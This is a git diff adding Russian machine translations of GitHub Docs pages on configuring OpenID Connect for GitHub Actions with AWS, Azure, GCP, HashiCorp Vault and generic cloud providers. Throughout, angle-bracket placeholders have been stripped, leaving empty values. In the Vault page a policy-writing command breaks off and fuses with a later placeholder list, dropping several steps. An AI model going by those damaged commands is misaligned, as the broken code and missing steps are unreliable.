"repo:octo-org/octo-repo:environment:prod:job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"` + +#### Example: Granting access to a specific repository + +This example template lets you grant cloud access to all the workflows in a specific repository, across all branches/tags and environments. To help improve security, combine this template with the custom issuer URL described in "[Customizing the token URL for an enterprise](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-url-for-an-enterprise)." + +{% data reusables.actions.use-request-body-api %} + +```json +{ + "include_claim_keys": [ + "repo" + ] +} +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repo` claim that matches the required value. + +#### Example: Using system-generated GUIDs + +This example template enables predictable OIDC claims with system-generated GUIDs that do not change between renames of entities (such as renaming a repository). + +{% data reusables.actions.use-request-body-api %} + +```json + { + "include_claim_keys": [ + "repository_id" + ] + } +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repository_id` claim that matches the required value. + +or: + +```json +{ + "include_claim_keys": [ + "repository_owner_id" + ] +} +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repository_owner_id` claim that matches the required value. + +#### Resetting your customizations + +This example template resets the subject claims to the default format. This template effectively opts out of any organization-level customization policy. + +{% data reusables.actions.use-request-body-api %} + +```json +{ + "include_claim_keys": [ + "repo", + "context" + ] +} +``` + +In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repo` and `context`. + +#### Using the default subject claims + +For repositories that can receive a subject claim policy from their organization, the repository owner can later choose to opt-out and instead use the default `sub` claim format. To configure this, the repository admin must use the REST API endpoint at "[Set the customization template for an OIDC subject claim for a repository](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository)" with the following request body: + +```json +{ + "use_default": true +} +``` + +{% endif %} + +## Updating your workflows for OIDC + +You can now update your YAML workflows to use OIDC access tokens instead of secrets. Popular cloud providers have published their official login actions that make it easy for you to get started with OIDC. For more information about updating your workflows, see the cloud-specific guides listed below in "[Enabling OpenID Connect for your cloud provider](#enabling-openid-connect-for-your-cloud-provider)." + + +## Enabling OpenID Connect for your cloud provider + +To enable and configure OIDC for your specific cloud provider, see the following guides: + +- ["Configuring OpenID Connect in Amazon Web Services"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services) +- ["Configuring OpenID Connect in Azure"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure) +- ["Configuring OpenID Connect in Google Cloud Platform"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform) +- ["Configuring OpenID Connect in Hashicorp Vault"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault) + +To enable and configure OIDC for another cloud provider, see the following guide: + +- ["Configuring OpenID Connect in cloud providers"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers) diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md new file mode 100644 index 000000000000..f9e71812c170 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md @@ -0,0 +1,130 @@ +--- +title: Настройка OpenID Connect в Amazon Web Services +shortTitle: OpenID Connect in AWS +intro: Использование OpenID Connect в рабочих процессах для проверки подлинности в Amazon Web Services. +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: tutorial +topics: + - Security +ms.openlocfilehash: 173a7469fc8bbf58b9477c18fc79c57af7bc8ee1 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010008' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +OpenID Connect (OIDC) позволяет рабочим процессам {% data variables.product.prodname_actions %} получать доступ к ресурсам в Amazon Web Services (AWS) без необходимости хранить учетные данные AWS в виде долгоживущих секретов {% data variables.product.prodname_dotcom %}. + +В этом руководстве рассказывается, как в AWS настроить доверие к OIDC {% data variables.product.prodname_dotcom %} в качестве федеративного удостоверения, а также есть пример рабочего процесса для действия [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials), в котором для проверки подлинности в AWS и доступа к ресурсам используются маркеры. + +## Предварительные требования + +{% data reusables.actions.oidc-link-to-intro %} + +{% data reusables.actions.oidc-security-notice %} + +## Добавление поставщика удостоверений в AWS + +Сведения о добавлении поставщика OIDC {% data variables.product.prodname_dotcom %} в IAM см. в [документации по AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html). + +- Для URL-адреса поставщика: укажите {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} +- Для аудитории: укажите `sts.amazonaws.com`, если используете [официальное действие](https://github.com/aws-actions/configure-aws-credentials). + +### Настройка роли и политики доверия + +Сведения о настройке роли и доверия в IAM см. в документации по AWS в разделе "[Получение роли](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role)" и "[Создание роли для веб-удостоверения или федерации OpenID Connect](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html)". + +Измените политику доверия, чтобы добавить поле `sub` в условия проверки. Пример: + +```json{:copy} +"Condition": { + "StringEquals": { + "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:aud": "sts.amazonaws.com", + "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch" + } +} +``` + +В следующем примере `ForAllValues` используется для сопоставления нескольких ключей условий, а `StringLike` используется для сопоставления любых ссылок в указанном репозитории. Обратите внимание, что оператор `ForAllValues` [предоставляет слишком много разрешений](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_multi-value-conditions.html) и его не следует использовать самостоятельно в качестве действия `Allow`. В этом примере включение `StringLike` означает, что пустой набор в `ForAllValues` по-прежнему не будет передавать условие: + +```json{:copy} +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "Federated": "arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com" + }, + "Action": "sts:AssumeRoleWithWebIdentity", + "Condition": { + "StringLike": { + "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:*" + }, + "ForAllValues:StringEquals": { + "token.actions.githubusercontent.com:iss": "https://token.actions.githubusercontent.com", + "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" + } + } + } + ] +} +``` + + +## Обновление рабочего процесса {% data variables.product.prodname_actions %} + +Чтобы обновить рабочие процессы для OIDC, необходимо внести два изменения в YAML: +1. Добавьте параметры разрешений для маркера. +2. Используйте действие [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) для обмена маркера OIDC (JWT) на маркер доступа к облаку. + +### Добавление параметров разрешений + + {% data reusables.actions.oidc-permissions-token %} + +### Запрос маркера доступа + +Действие `aws-actions/configure-aws-credentials` получает JWT от поставщика OIDC {% data variables.product.prodname_dotcom %}, а затем запрашивает маркер доступа из AWS. Дополнительные сведения см. в [документации по AWS](https://github.com/aws-actions/configure-aws-credentials). + +- ``: имя контейнера S3. +- ``: вместо значения из примера укажите свою роль AWS. +- ``: добавьте название своего региона AWS. + +```yaml{:copy} +# Sample workflow to access AWS resources when workflow is tied to branch +# The workflow Creates static website using aws s3 +name: AWS example workflow +on: + push +env: + BUCKET_NAME : "" + AWS_REGION : "" +# permission can be added at job level or workflow level +permissions: + id-token: write # This is required for requesting the JWT + contents: read # This is required for actions/checkout +jobs: + S3PackageUpload: + runs-on: ubuntu-latest + steps: + - name: Git clone the repository + uses: {% data reusables.actions.action-checkout %} + - name: configure aws credentials + uses: aws-actions/configure-aws-credentials@v1 + with: + role-to-assume: arn:aws:iam::1234567890:role/example-role + role-session-name: samplerolesession + aws-region: {% raw %}${{ env.AWS_REGION }}{% endraw %} + # Upload a file to AWS s3 + - name: Copy index.html to s3 + run: | + aws s3 cp ./index.html s3://{% raw %}${{ env.BUCKET_NAME }}{% endraw %}/ +``` diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md new file mode 100644 index 000000000000..4f4916583441 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md @@ -0,0 +1,89 @@ +--- +title: Настройка OpenID Connect в Azure +shortTitle: OpenID Connect in Azure +intro: Использование OpenID Connect в рабочих процессах для проверки подлинности в Azure. +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: tutorial +topics: + - Security +ms.openlocfilehash: d55d95fd8c6a3787fe661053b13daa97dcf41ac2 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010011' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +OpenID Connect (OIDC) позволяет рабочим процессам {% data variables.product.prodname_actions %} получать доступ к ресурсам в Azure без необходимости хранить учетные данные Azure в виде долговечных секретов {% data variables.product.prodname_dotcom %}. + +В этом руководстве представлен обзор настройки Azure для доверия OIDC {% data variables.product.prodname_dotcom %} в качестве федеративного идентификатора, а также есть пример рабочего процесса для действия [`azure/login`](https://github.com/Azure/login), использующего токены для аутентификации в Azure и доступа к ресурсам. + +## Предварительные требования + +{% data reusables.actions.oidc-link-to-intro %} + +{% data reusables.actions.oidc-security-notice %} + +## Добавление федеративных учетных данных в Azure + +Поставщик OIDC {% data variables.product.prodname_dotcom %} работает с федерацией идентификаторов рабочей нагрузки Azure. Обзор см. в документации Майкрософт в разделе [Федерация идентификаторов рабочей нагрузки](https://docs.microsoft.com/en-us/azure/active-directory/develop/workload-identity-federation). + +Чтобы настроить поставщик удостоверений OIDC в Azure, необходимо выполнить следующую конфигурацию. Инструкции по внесению этих изменений см. в [документации Azure](https://docs.microsoft.com/en-us/azure/developer/github/connect-from-azure). + +1. Создайте приложение Azure Active Directory и субъект-службу. +2. Добавьте федеративные учетные данные для приложения Azure Active Directory. +3. Создайте секреты {% data variables.product.prodname_dotcom %} для хранения конфигурации Azure. + +Дополнительное руководство по настройке поставщика удостоверений: + +- Для усиления безопасности убедитесь, что ознакомились с разделом [Настройки отношения доверия OIDC с облаком](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). Пример см. в разделе [Настройка субъекта в поставщике облачных служб](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). +- Для параметра `audience` рекомендуемое значение `api://AzureADTokenExchange`, но здесь можно также указать другие значения. + +## Обновление рабочего процесса {% data variables.product.prodname_actions %} + +Чтобы обновить рабочие процессы для OIDC, необходимо внести два изменения в YAML: +1. Добавьте параметры разрешений для маркера. +2. Используйте действие [`azure/login`](https://github.com/Azure/login) для обмена маркера OIDC (JWT) на маркер доступа к облаку. + +### Добавление параметров разрешений + + {% data reusables.actions.oidc-permissions-token %} + +### Запрос маркера доступа + +Действие [`azure/login`](https://github.com/Azure/login) получает JWT от поставщика OIDC {% data variables.product.prodname_dotcom %}, а затем запрашивает маркер доступа из Azure. Дополнительные сведения см. в документации по [`azure/login`](https://github.com/Azure/login). + +В следующем примере токен идентификатора OIDC обменивается с Azure для получения маркера доступа, который затем можно использовать для доступа к облачным ресурсам. + +{% raw %} +```yaml{:copy} +name: Run Azure Login with OIDC +on: [push] + +permissions: + id-token: write + contents: read +jobs: + build-and-deploy: + runs-on: ubuntu-latest + steps: + - name: 'Az CLI login' + uses: azure/login@v1 + with: + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} + + - name: 'Run az commands' + run: | + az account show + az group list +``` + {% endraw %} diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md new file mode 100644 index 000000000000..179f2069ee6f --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md @@ -0,0 +1,141 @@ +--- +title: Настройка OpenID Connect в поставщиках облачных служб +shortTitle: OpenID Connect in cloud providers +intro: Использование OpenID Connect в рабочих процессах для проверки подлинности в ваших поставщиках облачных служб. +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: tutorial +topics: + - Security +ms.openlocfilehash: 90dfa54e71fc602243ddb0d51b190fb8530727e4 +ms.sourcegitcommit: 938ec7898dddd5da5481ad32809d68e4127e1948 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135497' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +OpenID Connect (OIDC) позволяет рабочим процессам {% data variables.product.prodname_actions %} получать доступ к ресурсам в поставщике облачных служб без необходимости хранить учетные данные в виде секретов {% data variables.product.prodname_dotcom %} с длительным сроком действия. + +Чтобы использовать OIDC, сначала необходимо настроить поставщик облачных служб для доверия OIDC {% data variables.product.prodname_dotcom %} в качестве федеративного удостоверения, а затем обновить рабочие процессы для проверки подлинности с помощью маркеров. + +## Предварительные требования + +{% data reusables.actions.oidc-link-to-intro %} + +{% data reusables.actions.oidc-security-notice %} + +## Обновление рабочего процесса {% data variables.product.prodname_actions %} + +Чтобы обновить рабочие процессы для OIDC, необходимо внести два изменения в YAML: +1. Добавьте параметры разрешений для маркера. +2. Используйте официальное действие поставщика облачных служб для обмена маркером OIDC (JWT) для маркера доступа к облаку. + +Если ваш поставщик облачных служб еще не предлагает официальное действие, вы можете обновить рабочие процессы, чтобы выполнить эти действия вручную. + +### Добавление параметров разрешений + + {% data reusables.actions.oidc-permissions-token %} + +### Использование официальных действий + +Если ваш поставщик облачных служб создал официальное действие для использования OIDC с {% data variables.product.prodname_actions %}, вы сможете с легкостью обменять маркер OIDC на маркер доступа. Затем можно обновить рабочие процессы, чтобы использовать этот маркер при доступе к облачным ресурсам. + +## Создание настраиваемых действий + +Если у поставщика облачных служб нет официального действия или если вы предпочитаете создавать пользовательские скрипты, можно вручную запросить JSON Web Token (JWT) от поставщика OIDC {% data variables.product.prodname_dotcom %}. + +Если вы не используете официальное действие, {% data variables.product.prodname_dotcom %} рекомендует использовать основной набор средств Actions. Кроме того, для получения маркера можно использовать следующие переменные среды: `ACTIONS_RUNTIME_TOKEN`, `ACTIONS_ID_TOKEN_REQUEST_URL`. + +Чтобы обновить рабочие процессы с помощью этого подхода, необходимо внести три изменения в YAML: + +1. Добавьте параметры разрешений для маркера. +2. Добавьте код, запрашивающий маркер OIDC у поставщика OIDC {% data variables.product.prodname_dotcom %}. +3. Добавьте код, который обменивает маркер OIDC у поставщика облачных служб на маркер доступа. + +### Запрос JWT с помощью основного набора средств Actions + +В следующем примере показано, как использовать `actions/github-script` с набором средств `core` для запроса JWT у поставщика OIDC {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе "[Добавление пакетов набора средств Actions](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages)". + +```yaml +jobs: + job: + environment: Production + runs-on: ubuntu-latest + steps: + - name: Install OIDC Client from Core Package + run: npm install @actions/core@1.6.0 @actions/http-client + - name: Get Id Token + uses: {% data reusables.actions.action-github-script %} + id: idtoken + with: + script: | + const coredemo = require('@actions/core') + let id_token = await coredemo.getIDToken() + coredemo.setOutput('id_token', id_token) +``` + +### Запрос JWT с помощью переменных среды + +В следующем примере показано, как использовать переменные среды для запроса JSON Web Token. + +Для задания развертывания необходимо определить параметры маркера, используя `actions/github-script` с набором средств `core`. Дополнительные сведения см. в разделе "[Добавление пакетов набора средств Actions](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages)". + +Пример: + +```yaml +jobs: + job: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-github-script %} + id: script + timeout-minutes: 10 + with: + debug: true + script: | + const token = process.env['ACTIONS_RUNTIME_TOKEN'] + const runtimeUrl = process.env['ACTIONS_ID_TOKEN_REQUEST_URL'] + core.setOutput('TOKEN', token.trim()) + core.setOutput('IDTOKENURL', runtimeUrl.trim()) +``` + +Затем можно использовать `curl` для получения JWT от поставщика OIDC {% data variables.product.prodname_dotcom %}. Пример: + +```yaml + - run: | + IDTOKEN=$(curl -H "Authorization: bearer {% raw %} ${{steps.script.outputs.TOKEN}}" ${{steps.script.outputs.IDTOKENURL}} {% endraw %} -H "Accept: application/json; api-version=2.0" -H "Content-Type: application/json" -d "{}" | jq -r '.value') + echo $IDTOKEN + jwtd() { + if [[ -x $(command -v jq) ]]; then + jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' <<< "${1}" + echo "Signature: $(echo "${1}" | awk -F'.' '{print $3}')" + fi + } + jwtd $IDTOKEN +{%- ifversion actions-save-state-set-output-envs %} + echo "idToken=${IDTOKEN}" >> $GITHUB_OUTPUT +{%- else %} + echo "::set-output name=idToken::${IDTOKEN}" +{%- endif %} + id: tokenid +``` + +### Получение маркера доступа от поставщика облачных служб + +Чтобы получить маркер доступа, необходимо представить веб-маркер OIDC JSON поставщику облачных служб. + +Для каждого развертывания рабочие процессы должны использовать действия входа в облако (или пользовательские скрипты), которые получают маркер OIDC и представляет его поставщику облачных служб. Затем поставщик облачных служб проверяет утверждения в маркере; в случае успешного выполнения он предоставляет маркер доступа к облаку, доступный только для этого запуска задания. Предоставленный маркер доступа затем можно использовать в последующих действиях в задании для подключения к облаку и развертывания в своих ресурсах. + +Порядок замены маркера OIDC на маркера доступа зависит от конкретного поставщика облачных служб. + +### Доступ к ресурсам в поставщике облачных служб + +Получив маркер доступа, вы можете использовать определенные облачные действия или скрипты для проверки подлинности у поставщика облачных служб и развертывания в своих ресурсах. Эти действия могут отличаться для каждого поставщика облачных служб. +Кроме того, срок действия маркера доступа по умолчанию может отличаться для каждого конкретного облака и может быть настроен на стороне поставщика облачных служб. diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md new file mode 100644 index 000000000000..6f94c0fddf2d --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md @@ -0,0 +1,98 @@ +--- +title: Настройка OpenID Connect в Google Cloud Platform +shortTitle: OpenID Connect in Google Cloud Platform +intro: Использование OpenID Connect в рабочих процессах для проверки подлинности на платформе Google Cloud Platform. +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: tutorial +topics: + - Security +ms.openlocfilehash: ae68717ba6c1fe4a745880eeda3bad55e3a4f395 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010080' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +OpenID Connect (OIDC) позволяет рабочим процессам {% data variables.product.prodname_actions %} получать доступ к ресурсам в Google Cloud Platform (GCP) без необходимости хранить учетные данные GCP в виде долгосрочных секретов {% data variables.product.prodname_dotcom %}. + +В этом руководстве представлен обзор настройки GCP для доверия OIDC {% data variables.product.prodname_dotcom %} в качестве федеративного удостоверения, а также есть пример рабочего процесса для действия [`google-github-actions/auth`](https://github.com/google-github-actions/auth), использующего токены для аутентификации в GCP и доступа к ресурсам. + +## Предварительные требования + +{% data reusables.actions.oidc-link-to-intro %} + +{% data reusables.actions.oidc-security-notice %} + +## Добавление поставщика удостоверений для облачной рабочей нагрузки Google + +Чтобы настроить поставщик удостоверений OIDC в GCP, необходимо выполнить описанную ниже настройку. Инструкции по внесению этих изменений см. в [документации GCP](https://github.com/google-github-actions/auth). + +1. Создайте пул удостоверений. +2. Настройте сопоставление и добавьте условия. +3. Подключение новый пул к учетной записи службы. + +Дополнительное руководство по настройке поставщика удостоверений: + +- Для усиления безопасности убедитесь, что ознакомились с разделом [Настройки отношения доверия OIDC с облаком](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). Пример см. в разделе [Настройка субъекта в поставщике облачных служб](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). +- Чтобы учетная запись службы была доступна для настройки, ей необходимо назначить роль `roles/iam.workloadIdentityUser`. Дополнительные сведения см. в [документации по GCP](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). +- URL-адрес издателя: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} + +## Обновление рабочего процесса {% data variables.product.prodname_actions %} + +Чтобы обновить рабочие процессы для OIDC, необходимо внести два изменения в YAML: +1. Добавьте параметры разрешений для маркера. +2. Используйте действие [`google-github-actions/auth`](https://github.com/google-github-actions/auth) для обмена маркера OIDC (JWT) на маркер доступа к облаку. + +### Добавление параметров разрешений + + {% data reusables.actions.oidc-permissions-token %} + +### Запрос маркера доступа + +Действие `google-github-actions/auth` получает JWT от поставщика OIDC {% data variables.product.prodname_dotcom %}, а затем запрашивает маркер доступа из GCP. Дополнительные сведения см. в [документации по GCP](https://github.com/google-github-actions/auth). + +В этом примере есть задание `Get_OIDC_ID_token`, которое использует действия для запроса списка служб из GCP. + +- `` — замените на путь к поставщику удостоверений в GCP. Например `projects//locations/global/workloadIdentityPools/`. +- `` — замените на имя учетной записи службы в GCP. +- `` — замените на идентификатор проекта GCP. + +Это действие обменивает токен OIDC {% data variables.product.prodname_dotcom %} на маркер доступа Google Cloud с помощью [федерации удостоверений рабочей нагрузки](https://cloud.google.com/iam/docs/workload-identity-federation). + +{% raw %} +```yaml{:copy} +name: List services in GCP +on: + pull_request: + branches: + - main + +permissions: + id-token: write + +jobs: + Get_OIDC_ID_token: + runs-on: ubuntu-latest + steps: + - id: 'auth' + name: 'Authenticate to GCP' + uses: 'google-github-actions/auth@v0.3.1' + with: + create_credentials_file: 'true' + workload_identity_provider: '' + service_account: '' + - id: 'gcloud' + name: 'gcloud' + run: |- + gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" + gcloud services list +``` +{% endraw %} diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md new file mode 100644 index 000000000000..48f92e0e6d8b --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md @@ -0,0 +1,190 @@ +--- +title: Настройка OpenID Connect в HashiCorp Vault +shortTitle: OpenID Connect in HashiCorp Vault +intro: Использование OpenID Connect в рабочих процессах для проверки подлинности в HashiCorp Vault. +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +type: tutorial +topics: + - Security +ms.openlocfilehash: 174243818443709ee6ffe3b22aa668cff254266f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106632' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Обзор + +OpenID Connect (OIDC) позволяет рабочим процессам {% data variables.product.prodname_actions %} проходить проверку подлинности в HashiCorp Vault для получения секретов. + +В этом руководстве представлен обзор настройки HashiCorp Vault для доверия OIDC {% data variables.product.prodname_dotcom %} в качестве федеративного удостоверения, а также демонстрируется использование этой конфигурации в действии [hashicorp/vault-action](https://github.com/hashicorp/vault-action) для получения секретов из HashiCorp Vault. + +## Предварительные требования + +{% data reusables.actions.oidc-link-to-intro %} + +{% data reusables.actions.oidc-security-notice %} + +## Добавление поставщика удостоверений в HashiCorp Vault + +Чтобы использовать OIDC с HashiCorp Vault, необходимо добавить конфигурацию доверия для поставщика OIDC {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в [документации](https://www.vaultproject.io/docs/auth/jwt) HashiCorp Vault. + +Чтобы настроить сервер Vault для приема токенов JSON Web Token (JWT) для проверки подлинности, выполните следующие действия: + +1. Включите метод JWT `auth` и используйте `write` для применения конфигурации к Vault. + Для параметров `oidc_discovery_url` и `bound_issuer` используйте {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}. Эти параметры позволяют серверу Vault проверить полученные веб-токены JSON (JWT) в ходе процесса проверки подлинности. + + ```sh{:copy} + vault auth enable jwt + ``` + + ```sh{:copy} + vault write auth/jwt/config \ + bound_issuer="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}" \ + oidc_discovery_url="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}" + ``` +2. Настройте политику, которая предоставляет доступ только к определенным путям, которые будут использоваться рабочими процессами для извлечения секретов. Сведения о расширенных политиках см. в [документации по политикам](https://www.vaultproject.io/docs/concepts/policies) HashiCorp Vault. + + ```sh{:copy} + vault policy write myproject-production - <` — замените на URL-адрес HashiCorp Vault. +- `` — замените на пространство имен, заданное в HashiCorp Vault. Например: `admin`. +- `` — замените на роль, заданную в отношении доверия HashiCorp Vault. +- `` — замените на путь к секрету, извлекаемому из HashiCorp Vault. Например: `secret/data/production/ci npmToken`. + +```yaml{:copy} +jobs: + retrieve-secret: + runs-on: ubuntu-latest + permissions: + id-token: write + contents: read + steps: + - name: Retrieve secret from Vault + uses: hashicorp/vault-action@v2.4.0 + with: + method: jwt + url: + namespace: + role: + secrets: + + - name: Use secret from Vault + run: | + # This step has access to the secret retrieved above; see hashicorp/vault-action for more details. +``` + +{% note %} + +**Примечание.** + +- Если сервер Vault недоступен из общедоступной сети, рассмотрите возможность использования локального средства выполнения с другими доступными [методами проверки подлинности](https://www.vaultproject.io/docs/auth) Vault. Дополнительные сведения см. в разделе «[Локальные средства выполнения тестов](/actions/hosting-your-own-runners/about-self-hosted-runners)». +- `` необходимо задать для развертывания Vault Enterprise (включая HCP Vault). Дополнительные сведения см. в статье [Пространство имен Vault](https://www.vaultproject.io/docs/enterprise/namespaces). + +{% endnote %} + +### Отзыв маркера доступа + +По умолчанию сервер Vault автоматически отзывает маркеры доступа при истечении срока их жизни, поэтому вам не нужно отзывать маркеры доступа вручную. Однако если вы хотите отозвать маркеры доступа сразу после завершения или сбоя задания, можно вручную отозвать выданный маркер с помощью [Vault API](https://www.vaultproject.io/api/auth/token#revoke-a-token-self). + +1. Задайте для параметра `exportToken` значение `true` (по умолчанию: `false`). При этом маркер доступа выпущенного Vault экспортируется в виде переменной среды: `VAULT_TOKEN`. +2. Добавьте шаг, чтобы вызвать API Vault [отзыва маркера (самостоятельно)](https://www.vaultproject.io/api/auth/token#revoke-a-token-self), чтобы отозвать маркер доступа. + +```yaml{:copy} +jobs: + retrieve-secret: + runs-on: ubuntu-latest + permissions: + id-token: write + contents: read + steps: + - name: Retrieve secret from Vault + uses: hashicorp/vault-action@v2.4.0 + with: + exportToken: true + method: jwt + url: + role: + secrets: + + - name: Use secret from Vault + run: | + # This step has access to the secret retrieved above; see hashicorp/vault-action for more details. + + - name: Revoke token + # This step always runs at the end regardless of the previous steps result + if: always() + run: | + curl -X POST -sv -H "X-Vault-Token: {% raw %}${{ env.VAULT_TOKEN }}{% endraw %}" \ + /v1/auth/token/revoke-self +``` diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/index.md b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/index.md new file mode 100644 index 000000000000..a888ece45571 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/index.md @@ -0,0 +1,24 @@ +--- +title: Усиление безопасности развертываний +shortTitle: Security harden deployments +intro: Использование OpenID Connect в рабочих процессах для проверки подлинности в вашем поставщике облачных служб. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' +children: + - /about-security-hardening-with-openid-connect + - /configuring-openid-connect-in-amazon-web-services + - /configuring-openid-connect-in-azure + - /configuring-openid-connect-in-google-cloud-platform + - /configuring-openid-connect-in-hashicorp-vault + - /configuring-openid-connect-in-cloud-providers + - /using-openid-connect-with-reusable-workflows +ms.openlocfilehash: 19ba0d3f7afd1bfe24cf9357067feb2ca3e4c913 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010079' +--- + diff --git a/translations/ru-RU/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md 